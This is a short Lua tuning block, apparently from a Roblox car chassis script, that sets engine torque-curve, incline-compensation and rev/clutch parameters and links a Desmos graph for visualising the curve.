--Torque Curve Tune.Horsepower = 500 -- [TORQUE CURVE VISUAL] Tune.IdleRPM = 1000 -- https://www.desmos.com/calculator/2uo3hqwdhf Tune.PeakRPM = 11000 -- Use sliders to manipulate values Tune.Redline = 12000 -- Copy and paste slider values into the respective tune values Tune.EqPoint = 5500 Tune.PeakSharpness = 7.5 Tune.CurveMult = 0.16 --Incline Compensation Tune.InclineComp = 1.7 -- Torque compensation multiplier for inclines (applies gradient from 0-90 degrees) --Misc Tune.RevAccel = 150 -- RPM acceleration when clutch is off Tune.RevDecay = 75 -- RPM decay when clutch is off Tune.RevBounce = 500 -- RPM kickback from redline Tune.IdleThrottle = 3 -- Percent throttle at idle Tune.ClutchTol = 500 -- Clutch engagement threshold (higher = faster response)